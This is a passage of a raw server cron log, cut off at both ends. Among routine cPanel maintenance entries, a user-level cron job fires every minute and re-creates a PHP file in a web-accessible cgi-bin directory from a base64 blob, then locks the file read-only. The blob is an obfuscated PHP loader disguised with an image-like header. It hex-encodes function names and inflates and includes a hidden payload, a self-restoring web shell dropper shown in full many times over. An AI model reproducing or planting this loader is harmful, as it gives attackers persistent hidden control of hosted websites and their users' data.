BF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:30:01 server CROND[23527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 21:31:01 server CROND[23631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:32:01 server CROND[23773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:33:01 server CROND[23822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:34:01 server CROND[23879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:35:01 server CROND[23954]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:35:01 server CROND[23955]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 21:35:01 server CROND[23956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:35:01 server CROND[23957]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 21:35:01 server CROND[23958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:36:01 server CROND[24075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:37:01 server CROND[24215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:38:01 server CROND[24269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:39:01 server CROND[24328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:39:01 server CROND[24329]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 21:40:01 server CROND[24388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 21:40:01 server CROND[24389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:40:01 server CROND[24390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:40:01 server CROND[24391]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:41:01 server CROND[24494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:42:01 server CROND[24669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:42:01 server CROND[24670]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 21:43:01 server CROND[24735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:44:01 server CROND[24780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRk